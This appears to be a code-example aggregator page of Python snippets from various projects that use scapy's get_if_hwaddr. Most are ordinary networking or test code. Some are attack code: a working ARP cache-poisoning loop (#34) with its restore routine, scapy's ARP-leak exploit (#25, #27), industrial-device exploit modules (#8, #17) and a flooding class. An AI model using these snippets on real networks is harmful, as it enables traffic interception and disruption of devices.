Beispiel #1
0
 def load(self):
     if not conf.use_pcap or WINDOWS:
         return {}
     if not conf.cache_pcapiflist:
         load_winpcapy()
     data = {}
     i = 0
     for ifname, dat in conf.cache_pcapiflist.items():
         description, ips, flags, mac = dat
         i += 1
         if not mac:
             from scapy.arch import get_if_hwaddr
             try:
                 mac = get_if_hwaddr(ifname)
             except Exception:
                 # There are at least 3 different possible exceptions
                 continue
         if_data = {
             'name': ifname,
             'description': description or ifname,
             'network_name': ifname,
             'index': i,
             'mac': mac or '00:00:00:00:00:00',
             'ips': ips,
             'flags': flags
         }
         data[ifname] = NetworkInterface(self, if_data)
     return data
Beispiel #2
0
 def send_pkt(self, intf='', count=1):
     self.print_summary()
     if intf != '':
         # fix fortville can't receive packets with 00:00:00:00:00:00
         if self.pkt.getlayer(0).src == "00:00:00:00:00:00":
             self.pkt.getlayer(0).src = get_if_hwaddr(intf)
         sendp(self.pkt, iface=intf, count=count)
Beispiel #3
0
 def __init__(self, is_llc=False, ifname=None, timeout=3, log_dir=None):
     if is_llc:
         self._mac_addr_ = get_if_hwaddr(ifname)
         self._ifname_ = ifname
         self._ether_ = ether.EtherRaw(ifname, self._mac_addr_)
     else:
         self._mac_addr_ = None
         self._ifname_ = None
         self._ether_ = None
     self._conn_ = s7.S7Layer(is_llc, ifname, self._mac_addr_, timeout)
     self._szl_list_ = []
     self._timeout_ = timeout
     self._is_llc = is_llc
     self.results = OrderedDict()
     self.results["Scan start time"] = datetime.datetime.now().strftime(
         "%Y-%m-%d %H:%M")
     self.results["Command line arguments"] = []
     for arg in sys.argv:
         self.results["Command line arguments"].append(
             arg.decode(sys.stdin.encoding).encode("utf-8"))
     self.plcs = OrderedDict()
     if log_dir:
         self.logfile = open(log_dir + "\\" + S7SCAN_LOG_FILE, "wb")
         self.plcfile = open(log_dir + "\\" + S7SCAN_PLC_FILE, "wb")
     else:
         self.logfile = None
         self.plcfile = None
     self.silent = False
Beispiel #4
0
def restore(interface, settings):
    print('Restoring ARP caches on ' + interface)
    hosts_dictionary = settings['hosts'][interface]
    lock = settings['locks'][interface]
    attacker_mac = get_if_hwaddr(interface)

    def send_arp_restore(dst_mac, dst_ip, src_mac, src_ip):
        arp = Ether() / ARP()
        arp[Ether].src = attacker_mac
        arp[Ether].dst = dst_mac
        arp[ARP].hwsrc = src_mac
        arp[ARP].psrc = src_ip
        arp[ARP].hwdst = dst_mac
        arp[ARP].pdst = dst_ip
        arp[ARP].op = 'is-at'
        if settings['show debug']:
            arp.show()
        sendp(arp, iface=interface, verbose=settings['show debug'])
        if settings['show arp poison']:
            print('Restored ARP cache of ' + dst_ip +
                  ', not pretending to be ' + src_ip)

    lock.acquire()
    for host_mac in hosts_dictionary:
        for host2_mac in hosts_dictionary:
            # Check if the two hosts are not identical
            if host_mac != host2_mac:
                # Find all IP addresses of hosts
                for host_ip in hosts_dictionary[host_mac]:
                    for host2_ip in hosts_dictionary[host2_mac]:
                        # Restore them one way
                        # Second way is included in another iteration
                        send_arp_restore(host_mac, host_ip, host2_mac,
                                         host2_ip)
    lock.release()
Beispiel #5
0
    def send_pkt(self, intf='', count=1):
        self.print_summary()

        if intf != '':
            # wait few seconds for link ready
            countdown = 600
            while countdown:
                link_st = subprocess.check_output("ip link show %s" % intf,
                                                  stderr=subprocess.STDOUT,
                                                  shell=True)
                if "LOWER_UP" in link_st:
                    break
                else:
                    time.sleep(0.01)
                    countdown -= 1
                    continue

            # fix fortville can't receive packets with 00:00:00:00:00:00
            if self.pkt.getlayer(0).src == "00:00:00:00:00:00":
                self.pkt.getlayer(0).src = get_if_hwaddr(intf)
            sendp(self.pkt, iface=intf, count=count)

            # save command into test case history
            history_list = get_backtrace_object('test_case.py', 'test_history')
            if type(history_list) is list:
                history_list.append({
                    "command": "sendp(p, iface=\"%s\")" % intf,
                    "name": "Scapy",
                    "output": ""
                })
Beispiel #6
0
    def _get_gw_mac_address(self, gw_ip: str) -> str:
        try:
            self.logger.debug("sending arp for IP: %s ovs egress: %s",
                              gw_ip, self.config.non_nat_arp_egress_port)
            eth_mac_src = get_if_hwaddr(self.config.non_nat_arp_egress_port)

            pkt = Ether(dst=ETHER_BROADCAST, src=eth_mac_src)
            pkt /= ARP(op="who-has", pdst=gw_ip, hwsrc=eth_mac_src, psrc="0.0.0.0")
            self.logger.debug("pkt: %s", pkt.summary())

            res = srp1(pkt,
                       type=ETH_P_ARP,
                       iface=self.config.non_nat_arp_egress_port,
                       timeout=1,
                       verbose=0,
                       nofilter=1,
                       promisc=0)

            if res is not None:
                self.logger.debug("resp: %s ", res.summary())
                mac = res[ARP].hwsrc
                return mac
            else:
                self.logger.debug("Got Null response")

        except Scapy_Exception as ex:
            self.logger.warning("Error in probing Mac address: err %s", ex)
            return None
Beispiel #7
0
 def send_pkt(self, intf='', count=1):
     self.print_summary()
     if intf != '':
         # fix fortville can't receive packets with 00:00:00:00:00:00
         if self.pkt.getlayer(0).src == "00:00:00:00:00:00":
             self.pkt.getlayer(0).src = get_if_hwaddr(intf)
         sendp(self.pkt, iface=intf, count=count)
Beispiel #8
0
    def run(self):
        conf.verb = self.verbose
        self.sniff_mac_address = get_if_hwaddr(self.nic)
        self.scan_target_ip(self.target)
        if len(self.result) == 0:
            print_error("Didn't find any device, please check target mac address.")
            return
        print_status("Please make sure target device info is correct.")
        print_status("Do you want setup target with\n ip address: %s\n network mask: %s\n gateway:%s\n" % (
            self.target_ip, self.target_netmask, self.target_gateway
        ))
        ans = raw_input("Y/y to confirm, other to cancel.\n:")
        if ans.upper() == "Y":
            self.exploit(target_mac=self.target)
            self.scan_target_ip(self.target)
            # TODO: need some other method to check setup is success or not.
            if len(self.result) == 0:
                print_error("Setup target ip failed.")
                return

            if self.result[0][3] != self.target_ip \
                    or self.result[0][4] != self.target_netmask \
                    or self.result[0][5] != self.target_gateway:
                print_error("Setup target ip failed.")
                return
            else:
                print_success("Setup target ip succeeded")
 def __init__(self, net_iface, loop, verbose=False, dhcp_timeout_sec=10):
     self._loop = loop
     self._net_iface = net_iface
     self._real_mac = scapy_arch.get_if_hwaddr(self._net_iface)
     self._thread_pool = concurrent.futures.ThreadPoolExecutor(
         max_workers=10)
     self._dhcp_timeout_sec = dhcp_timeout_sec
     self._verbose = verbose
Beispiel #10
0
 def __init__(self, iface, flood):
     if os.getuid() == 0:
         self.__iface = iface
         self.__flood = flood
         self.__iface_addr = get_if_hwaddr(iface)
         self.__dict = {}
         self.__dos = False
     else:
         print "Must be superuser to do this."
         sys.exit(-1)
Beispiel #11
0
 def discover_local_device(self):
     self.sniff_mac_address = get_if_hwaddr(self.nic)
     p = threading.Thread(target=self.sniff_answer)
     p.setDaemon(True)
     p.start()
     # wait sniff start
     time.sleep(0.2)
     packet = Ether(src=self.sniff_mac_address, dst="ff:ff:ff:ff:ff:ff")/IP(src=get_if_addr(self.nic), dst="255.255.255.255")/UDP(sport=44818, dport=44818)/ENIPHeader(Command=0x0063)
     sendp(packet, iface=self.nic)
     self.sniff_finished.wait(self.timeout + 1)
Beispiel #12
0
 def __init__(self, iface, flood):
     if os.getuid() == 0:
         self.__iface = iface
         self.__flood = flood
         self.__iface_addr = get_if_hwaddr(iface)
         self.__dict = {}
         self.__dos = False
     else:
         print "Must be superuser to do this."
         sys.exit(-1)
 def i2h(self, pkt, x):
     if x is None:
         iff, a, gw = pkt.route()
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except:
                 pass
         if x is None:
             x = conf.default_src_mac
     return MACField.i2h(self, pkt, x)
    def start(self):
        """
        Starts the probe request sniffer.

        This method will start the sniffing and parsing threads.
        """

        try:
            # Test if the interface exists.
            get_if_hwaddr(self.config.interface)
        except Scapy_Exception:
            pass

        self.sniffer.start()

        try:
            self.parser.start()
        except RuntimeError:
            self.new_parser()
            self.parser.start()
Beispiel #15
0
Datei: l2.py Projekt: 0x0mar/zarp
 def i2h(self, pkt, x):
     if x is None:
         iff,a,gw = pkt.payload.route()
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except:
                 pass
         if x is None:
             x = "00:00:00:00:00:00"
     return MACField.i2h(self, pkt, x)
Beispiel #16
0
 def i2h(self, pkt, x):
     if x is None:
         iff, a, gw = pkt.route()
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except:
                 pass
         if x is None:
             x = "00:00:00:00:00:00"
     return MACField.i2h(self, pkt, x)
Beispiel #17
0
 def run(self):
     conf.verb = self.verbose
     self.sniff_mac_address = get_if_hwaddr(self.nic)
     p = threading.Thread(target=self.sniff_answer)
     p.setDaemon(True)
     p.start()
     self.exploit(target_mac=PROFINET_BROADCAST_ADDRESS_1)
     self.exploit(target_mac=PROFINET_BROADCAST_ADDRESS_2)
     self.sniff_finished.wait(self.timeout + 1)
     unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
     print_table(TABLE_HEADER, *unique_device)
Beispiel #18
0
    def _get_gw_mac_address(self, ip: IPAddress, vlan: str = "") -> str:
        try:
            gw_ip = ipaddress.ip_address(ip.address)
            self.logger.debug("sending arp via egress: %s",
                              self.config.non_nat_arp_egress_port)
            eth_mac_src = get_if_hwaddr(self.config.non_nat_arp_egress_port)
            psrc = "0.0.0.0"
            egress_port_ip = get_if_addr(self.config.non_nat_arp_egress_port)
            if egress_port_ip:
                psrc = egress_port_ip

            pkt = Ether(dst=ETHER_BROADCAST, src=eth_mac_src)
            if vlan.isdigit():
                pkt /= Dot1Q(vlan=int(vlan))
            pkt /= ARP(op="who-has", pdst=gw_ip, hwsrc=eth_mac_src, psrc=psrc)
            self.logger.debug("ARP Req pkt %s", pkt.show(dump=True))

            res = srp1(pkt,
                       type=ETH_P_ALL,
                       iface=self.config.non_nat_arp_egress_port,
                       timeout=1,
                       verbose=0,
                       nofilter=1,
                       promisc=0)

            if res is not None:
                self.logger.debug("ARP Res pkt %s", res.show(dump=True))
                if str(res[ARP].psrc) != str(gw_ip):
                    self.logger.warning(
                        "Unexpected IP in ARP response. expected: %s pkt: %s",
                        str(gw_ip), res.show(dump=True))
                    return ""
                if vlan.isdigit():
                    if Dot1Q in res and str(res[Dot1Q].vlan) == vlan:
                        mac = res[ARP].hwsrc
                    else:
                        self.logger.warning(
                            "Unexpected vlan in ARP response. expected: %s pkt: %s",
                            vlan, res.show(dump=True))
                        return ""
                else:
                    mac = res[ARP].hwsrc
                return mac
            else:
                self.logger.debug("Got Null response")
                return ""

        except Scapy_Exception as ex:
            self.logger.warning("Error in probing Mac address: err %s", ex)
            return ""
        except ValueError:
            self.logger.warning("Invalid GW Ip address: [%s] or vlan %s",
                                str(ip), vlan)
            return ""
Beispiel #19
0
 def i2h(self, pkt, x):
     if x is None:
         iff,a,gw = pkt.route()
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except:
                 pass
         if x is None:
             x = conf.default_src_mac
     return MACField.i2h(self, pkt, x)
Beispiel #20
0
 def reset(self, is_llc=False, ifname=None, timeout=3):
     if is_llc:
         self._mac_addr_ = get_if_hwaddr(ifname)
         self._ifname_ = ifname
         self._ether_ = ether.EtherRaw(ifname, self._mac_addr_)
     else:
         self._mac_addr_ = None
         self._ifname_ = None
         self._ether_ = None
     self._conn_ = s7.S7Layer(is_llc, ifname, self._mac_addr_, timeout)
     self._timeout_ = timeout
     self._is_llc = is_llc
Beispiel #21
0
 def i2h(self, pkt, x):
     if x is None:
         iff = self.getif(pkt)
         if iff is None:
             iff = conf.iface
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except:
                 pass
         if x is None:
             x = "00:00:00:00:00:00"
     return MACField.i2h(self, pkt, x)
 def i2h(self, pkt, x):
     if x is None:
         iff = self.getif(pkt)
         if iff is None:
             iff = conf.iface
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except Exception as e:
                 warning("Could not get the source MAC: %s" % e)
         if x is None:
             x = "00:00:00:00:00:00"
     return MACField.i2h(self, pkt, x)
Beispiel #23
0
 def i2h(self, pkt, x):
     if x is None:
         iff = self.getif(pkt)
         if iff is None:
             iff = conf.iface
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except Exception as e:
                 warning("Could not get the source MAC: %s" % e)
         if x is None:
             x = "00:00:00:00:00:00"
     return MACField.i2h(self, pkt, x)
Beispiel #24
0
 def i2h(self, pkt, x):
     if x is None:
         iff = self.getif(pkt)
         if iff is None:
             iff = conf.iface
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except:
                 pass
         if x is None:
             x = "00:00:00:00:00:00"
     return MACField.i2h(self, pkt, x)
Beispiel #25
0
def arpleak(target, plen=255, hwlen=255, **kargs):
    # type: (str, int, int, **Any) -> Tuple[SndRcvList, PacketList]
    """Exploit ARP leak flaws, like NetBSD-SA2017-002.

https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc

    """
    # We want explicit packets
    pkts_iface = {}  # type: Dict[str, List[Ether]]
    for pkt in ARP(pdst=target):
        # We have to do some of Scapy's work since we mess with
        # important values
        iface = conf.route.route(pkt.pdst)[0]
        psrc = get_if_addr(iface)
        hwsrc = get_if_hwaddr(iface)
        pkt.plen = plen
        pkt.hwlen = hwlen
        if plen == 4:
            pkt.psrc = psrc
        else:
            pkt.psrc = inet_aton(psrc)[:plen]
            pkt.pdst = inet_aton(pkt.pdst)[:plen]
        if hwlen == 6:
            pkt.hwsrc = hwsrc
        else:
            pkt.hwsrc = mac2str(hwsrc)[:hwlen]
        pkts_iface.setdefault(iface, []).append(
            Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt
        )
    ans, unans = SndRcvList(), PacketList(name="Unanswered")
    for iface, pkts in viewitems(pkts_iface):
        ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs)
        ans += ans_new
        unans += unans_new
        ans.listname = "Results"
        unans.listname = "Unanswered"
    for _, rcv in ans:
        if ARP not in rcv:
            continue
        rcv = rcv[ARP]
        psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc)
        if plen > 4 and len(psrc) > 4:
            print("psrc")
            hexdump(psrc[4:])
            print()
        hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc)
        if hwlen > 6 and len(hwsrc) > 6:
            print("hwsrc")
            hexdump(hwsrc[6:])
            print()
    return ans, unans
Beispiel #26
0
    def __init__(self, iface, request_handler=None, dst_mac=None):
        """
        Init ICMP sniffer.

        @param ifaces: interfaces to listen for ICMP reqest
        @param request_handler: handler function that will be called when
                                receives ICMP request
        """
        self.sniff_sockets = []
        self.iface_hwaddr = {}
        self.sniff_sockets.append(conf.L2socket(type=ETH_P_IP, iface=iface, filter="icmp"))
        self.iface_hwaddr[iface] = get_if_hwaddr(iface)
        self.request_handler = request_handler
        self.dst_mac = dst_mac
Beispiel #27
0
def arpleak(target, plen=255, hwlen=255, **kargs):
    """Exploit ARP leak flaws, like NetBSD-SA2017-002.

https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc

    """
    # We want explicit packets
    pkts_iface = {}
    for pkt in ARP(pdst=target):
        # We have to do some of Scapy's work since we mess with
        # important values
        iface = conf.route.route(pkt.pdst)[0]
        psrc = get_if_addr(iface)
        hwsrc = get_if_hwaddr(iface)
        pkt.plen = plen
        pkt.hwlen = hwlen
        if plen == 4:
            pkt.psrc = psrc
        else:
            pkt.psrc = inet_aton(psrc)[:plen]
            pkt.pdst = inet_aton(pkt.pdst)[:plen]
        if hwlen == 6:
            pkt.hwsrc = hwsrc
        else:
            pkt.hwsrc = mac2str(hwsrc)[:hwlen]
        pkts_iface.setdefault(iface, []).append(
            Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt
        )
    ans, unans = SndRcvList(), PacketList(name="Unanswered")
    for iface, pkts in viewitems(pkts_iface):
        ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs)
        ans += ans_new
        unans += unans_new
        ans.listname = "Results"
        unans.listname = "Unanswered"
    for _, rcv in ans:
        if ARP not in rcv:
            continue
        rcv = rcv[ARP]
        psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc)
        if plen > 4 and len(psrc) > 4:
            print("psrc")
            hexdump(psrc[4:])
            print()
        hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc)
        if hwlen > 6 and len(hwsrc) > 6:
            print("hwsrc")
            hexdump(hwsrc[6:])
            print()
    return ans, unans
Beispiel #28
0
 def i2h(self, pkt, x):
     # type: (Optional[Packet], Optional[str]) -> str
     if x is None:
         iff = self.getif(pkt)
         if iff is None:
             iff = conf.iface
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except Exception as e:
                 warning("Could not get the source MAC: %s" % e)
         if x is None:
             x = "00:00:00:00:00:00"
     return super(SourceMACField, self).i2h(pkt, x)
    def test_ipv6_flows(self):
        """
        Verify that a UPLINK->UE arp request is properly matched
        """
        ll_addr = get_if_hwaddr('testing_br')

        pkt_sender = ScapyPacketInjector(self.IFACE)

        pkt_rs = Ether(dst=self.OTHER_MAC, src=self.UE_MAC)
        pkt_rs /= IPv6(
            src='fe80:24c3:d0ff:fef3:9d21:4407:d337:1928',
            dst='ff02::2',
        )
        pkt_rs /= ICMPv6ND_RS()
        pkt_rs /= ICMPv6NDOptSrcLLAddr(lladdr=ll_addr)

        pkt_ns = Ether(dst=self.OTHER_MAC, src=self.UE_MAC)
        pkt_ns /= IPv6(
            src='fe80::9d21:4407:d337:1928',
            dst='ff02::2',
        )
        pkt_ns /= ICMPv6ND_NS(tgt='abcd:87:3::')
        pkt_ns /= ICMPv6NDOptSrcLLAddr(lladdr=ll_addr)

        ipv6_addr = 'ab22:5:6c:9:9d21:4407:d337:1928'
        interface = get_ipv6_interface_id(ipv6_addr)
        prefix = get_ipv6_prefix(ipv6_addr)
        self.service_manager.interface_to_prefix_mapper.save_prefix(
            interface,
            prefix,
        )

        ulink_args = RyuForwardFlowArgsBuilder(self._tbl_num) \
            .set_eth_match(eth_dst=self.OTHER_MAC, eth_src=self.UE_MAC) \
            .set_reg_value(DIRECTION_REG, Direction.OUT) \
            .build_requests()
        isolator = RyuDirectTableIsolator(ulink_args, self.testing_controller)

        snapshot_verifier = SnapshotVerifier(
            self,
            self.BRIDGE,
            self.service_manager,
            include_stats=False,
        )

        with isolator, snapshot_verifier:
            pkt_sender.send(pkt_rs)
            pkt_sender.send(pkt_ns)
            wait_after_send(self.testing_controller, wait_time=5)
Beispiel #30
0
def parse_config(filepath):

    mac_base_int = int(
        get_if_hwaddr(linux.get_if_list()[0]).replace(":", ""), 16)
    #     mac_base_int = [int(sec, 16) for sec in get_if_hwaddr().split(":")]
    attrs_valid = set(["vni", "subnet", "gw_ip", "vteps"])
    #     attrs_valid = set(["vlan", "vni", "subnet", "gw_ip"])

    try:
        with open(filepath) as f:
            maps = json.load(f)
            for m in maps:
                assert set(m.keys(
                )) == attrs_valid, "Invalid json key/value was discovered."

                m["subnet"] = IPNetwork(m["subnet"])
                m["gw_ip"] = IPAddress(m["gw_ip"])
                is_inc = smallest_matching_cidr(m["gw_ip"], m["subnet"])
                assert is_inc is not None, "The subnet and gw_ip mismatch."

                assert all( [is_valid_ipv4(vtep[0]) for vtep in m["vteps"].items() ] ), \
                    "There are some invalid representations of IPv4 address."

                assert is_valid_vni(
                    m["vni"]
                ), "Out of the valid VNI range. (0 < VNI < 2 ** 24)"
                mac_int = (mac_base_int + m["vni"]) % MAC_MODULER
                mac_hex = "{0:012x}".format(mac_int)
                m["hwaddr"] = ":".join([
                    mac_hex[idx:idx + 2] for idx in xrange(len(mac_hex))
                    if idx % 2 == 0
                ])


#                 mac_int[-1] = (mac_int[-1] + m["vni"]) % 256
#                 m["hwaddr"] = ":".join( ["%02x" % sec for sec in mac_int] )

        maps = {m["vni"]: m for m in maps}
        return maps

    except AssertionError as excpt:
        print excpt
        print("Program exits.")
        sys.exit(1)

    except Exception as excpt:
        print excpt
        sys.exit(1)
Beispiel #31
0
def get_mac_by_yoip(yoip, chain_cc=0):
    """Return MAC address corresponding to a given YOIP address"""

    # TODO: is 0.0.0.0 a good enough default? I think so.
    iff, a, gw = conf.route.route("0.0.0.0")

    src_mac = get_if_hwaddr(iff)

    try:
        myyoip = conf.yoip
    except:
        myyoip = None

    if myyoip == yoip:
        return src_mac

    if yoip == "0.0":
        return "00:00:00:00:00:00"

    if yoip == "255.255":
        return "ff:ff:ff:ff:ff:ff"

    mac = conf.netcache.yoarp_cache.get(yoip)
    if mac:
        return mac

    print "GETTING MAC BY IP"

    pkt = (
        Ether(src=src_mac, dst=ETHER_BROADCAST) /
        YOARP(op="who-has", hwsrc=src_mac, psrc=conf.yoip, pdst=yoip)
    )
    # TODO: Do we need to fix anything in "answers"?

    res = srp1(pkt,
               iface=iff,
               timeout=5,
               verbose=0,
               retry=3,
               chainCC=chain_cc,
               nofilter=1)

    if res is not None:
        mac = res.payload.hwsrc
        conf.netcache.yoarp_cache[yoip] = mac
        return mac
Beispiel #32
0
def sendProbes():
    dstAddr = "10.0.2.22"
    iface = "H11-eth0"
    print "sending probes on interface %s to %s" % (iface, dstAddr)

    port_list = [4, 2, 4, 1, 1]
    pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff') / IP() / UDP(dport=PORT_FWD)
    for port in port_list[:-1]:
        pkt /= FWD_Label(outport=port, tos=0)
    pkt /= FWD_Label(outport=port_list[-1], tos=1)
    pkt /= TMY_Proto_Header(proto=0xff)
    pkt /= TMY_INST_Label(switch_id=6, bit_egress_port=1, tos=1)
    pkt /= TMY_DATA_Header(label_cnt=0)
    # pkt /= TMY_INST_Label(switch_id=6, bit_ingress_port=1, tos=1)
    pkt.show()
    # sendpfast(pkt, pps=2, loop=200, file_cache=True, iface=iface)
    sendp(pkt, iface=iface)
Beispiel #33
0
    def get_gw_mac_address(self, iface):

        for i in range(5):
            arp_req_ip_dst = self.gateways[iface]

            source_hw_addr = get_if_hwaddr(iface)

            arp_req = Ether(dst="ff:ff:ff:ff:ff:ff", src=source_hw_addr) / \
                      ARP(pdst=arp_req_ip_dst, psrc=get_if_addr(iface), hwsrc=source_hw_addr)

            ans, unans = sndrcv(self.sockets[iface], arp_req, timeout=1, verbose=0)

            if len(ans) < 1:
                continue

            return ans[0][1].src

        raise ConnectionError("ARP Resolution Failed for %s (%s)" % (self.gateways[iface], iface))
Beispiel #34
0
def poison(interface: str, settings: dict):
    print('Continuously ARP poisoning hosts on ' + interface)
    hosts_dictionary: dict = settings['hosts'][interface]
    whitelist_iter: iter = settings['whitelist poisoned hosts'][interface]
    lock: Lock = settings['locks'][interface]
    attacker_mac = get_if_hwaddr(interface)

    def send_arp_poison(dst_mac: str, dst_ip: str, src_ip: str):
        arp = Ether() / ARP()
        arp[Ether].src = attacker_mac
        arp[Ether].dst = dst_mac
        arp[ARP].hwsrc = attacker_mac
        arp[ARP].psrc = src_ip
        arp[ARP].hwdst = dst_mac
        arp[ARP].pdst = dst_ip
        arp[ARP].op = 'is-at'
        if settings['show debug']:
            arp.show()
        sendp(arp, iface=interface, verbose=settings['show debug'])
        if settings['show arp poison']:
            print('Poisoned ARP cache of ' + dst_ip + ' pretending to be ' +
                  src_ip)

    while not settings['interrupted']:
        # Find all combinations of hosts
        lock.acquire()
        for host_mac in hosts_dictionary:
            if host_mac not in whitelist_iter:
                for host2_mac in hosts_dictionary:
                    if host2_mac not in whitelist_iter:
                        # Check if the two hosts are not identical
                        if host_mac != host2_mac:
                            # Find all IP addresses of hosts
                            for host_ip in hosts_dictionary[host_mac]:
                                for host2_ip in hosts_dictionary[host2_mac]:
                                    # Poison them one way
                                    # Second way is included in another iteration
                                    send_arp_poison(host_mac, host_ip,
                                                    host2_ip)
        lock.release()
        sleep(settings['arp poison frequency'])
Beispiel #35
0
Datei: l2.py Projekt: kinap/scapy
    def make_reply(self, req):
        ether = req.getlayer(Ether)
        arp = req.getlayer(ARP)

        if self.optsend.has_key("iface"):
            iff = self.optsend.get("iface")
        else:
            iff, a, gw = conf.route.route(arp.psrc)
        self.iff = iff
        if self.ARP_addr is None:
            try:
                ARP_addr = get_if_hwaddr(iff)
            except:
                ARP_addr = "00:00:00:00:00:00"
                pass
        else:
            ARP_addr = self.ARP_addr
        resp = Ether(dst=ether.src, src=ARP_addr) / ARP(
            op="is-at", hwsrc=ARP_addr, psrc=arp.pdst, hwdst=arp.hwsrc, pdst=arp.psrc
        )
        return resp
Beispiel #36
0
    def send_pkt(self, intf='', count=1):
        self.print_summary()

        if intf != '':
            # wait few seconds for link ready
            countdown = 600
            while countdown:
                link_st = subprocess.check_output("ip link show %s" % intf,
                                                  stderr=subprocess.STDOUT,
                                                  shell=True)
                if "LOWER_UP" in link_st:
                    break
                else:
                    time.sleep(0.01)
                    countdown -= 1
                    continue

            # fix fortville can't receive packets with 00:00:00:00:00:00
            if self.pkt.getlayer(0).src == "00:00:00:00:00:00":
                self.pkt.getlayer(0).src = get_if_hwaddr(intf)
            sendp(self.pkt, iface=intf, count=count)
Beispiel #37
0
def parse_config(filepath):
    
    mac_base_int = int(get_if_hwaddr(linux.get_if_list()[0]).replace(":", ""), 16)
#     mac_base_int = [int(sec, 16) for sec in get_if_hwaddr().split(":")]
    attrs_valid = set(["vni", "subnet", "gw_ip", "vteps"])
#     attrs_valid = set(["vlan", "vni", "subnet", "gw_ip"])
    
    try:
        with open(filepath) as f:
            maps = json.load(f)
            for m in maps:
                assert set(m.keys() ) == attrs_valid, "Invalid json key/value was discovered."

                m["subnet"] = IPNetwork(m["subnet"])
                m["gw_ip"] = IPAddress(m["gw_ip"])
                is_inc = smallest_matching_cidr(m["gw_ip"], m["subnet"])
                assert is_inc is not None, "The subnet and gw_ip mismatch."
                
                assert all( [is_valid_ipv4(vtep[0]) for vtep in m["vteps"].items() ] ), \
                    "There are some invalid representations of IPv4 address."
                
                assert is_valid_vni(m["vni"]), "Out of the valid VNI range. (0 < VNI < 2 ** 24)"
                mac_int = (mac_base_int + m["vni"]) % MAC_MODULER
                mac_hex = "{0:012x}".format(mac_int)
                m["hwaddr"] = ":".join( [mac_hex[idx:idx+2] for idx in xrange(len(mac_hex) ) if idx % 2 == 0] )
#                 mac_int[-1] = (mac_int[-1] + m["vni"]) % 256
#                 m["hwaddr"] = ":".join( ["%02x" % sec for sec in mac_int] )
                
        maps = { m["vni"] : m for m in maps}
        return maps

    except AssertionError as excpt:
        print excpt
        print("Program exits.")
        sys.exit(1)
        
    except Exception as excpt:
        print excpt
        sys.exit(1)
Beispiel #38
0
    def make_reply(self, req):
        ether = req.getlayer(Ether)
        arp = req.getlayer(ARP)

        if 'iface' in self.optsend:
            iff = self.optsend.get('iface')
        else:
            iff, a, gw = conf.route.route(arp.psrc)
        self.iff = iff
        if self.ARP_addr is None:
            try:
                ARP_addr = get_if_hwaddr(iff)
            except Exception:
                ARP_addr = "00:00:00:00:00:00"
        else:
            ARP_addr = self.ARP_addr
        resp = Ether(dst=ether.src, src=ARP_addr) / ARP(op="is-at",
                                                        hwsrc=ARP_addr,
                                                        psrc=arp.pdst,
                                                        hwdst=arp.hwsrc,
                                                        pdst=arp.psrc)
        return resp
Beispiel #39
0
    def make_reply(self, req):
        # type: (Packet) -> Packet
        ether = req[Ether]
        arp = req[ARP]

        if 'iface' in self.optsend:
            iff = cast(Union[NetworkInterface, str], self.optsend.get('iface'))
        else:
            iff, a, gw = conf.route.route(arp.psrc)
        self.iff = iff
        if self.ARP_addr is None:
            try:
                ARP_addr = get_if_hwaddr(iff)
            except Exception:
                ARP_addr = "00:00:00:00:00:00"
        else:
            ARP_addr = self.ARP_addr
        resp = Ether(dst=ether.src, src=ARP_addr) / ARP(op="is-at",
                                                        hwsrc=ARP_addr,
                                                        psrc=arp.pdst,
                                                        hwdst=arp.hwsrc,
                                                        pdst=arp.psrc)
        return resp
Beispiel #40
0
@brief      

@copyright  Copyright 2015, OpenMote Technologies, S.L.
            This file is licensed under the GNU General Public License v2.
'''

import serial
import struct
import os
import time
from scapy.all import Ether,IP,UDP,Raw
from scapy.all import sendp, sniff
from scapy.arch import get_if_hwaddr

eth_iface = "eth0"
eth_addr  = get_if_hwaddr(eth_iface)
eth_delay = 0.5

sniff_addr = "ff:ff:ff:ff:ff:ff"
payload  = "0123456789ABCDEF123456789ABCDEF"

def program():
    global sniff_addr
    
    print("Testing from " + eth_iface + " (" + eth_addr + ")...")

    ser = serial.Serial(port     = '/dev/ttyUSB0',
                        baudrate = 115200,
                        parity   = serial.PARITY_ODD,
                        stopbits = serial.STOPBITS_TWO,
                        bytesize = serial.SEVENBITS,
Beispiel #41
0
	def get_iface_mac(name):
		return get_if_hwaddr(name)
    def process_request(self, arp):
        assert isinstance(arp, ARP)
        assert arp.op == _ARP_REQUEST

        if arp.hwsrc == get_if_hwaddr(scapy_conf.iface):
            self._pending_request.add(arp.pdst)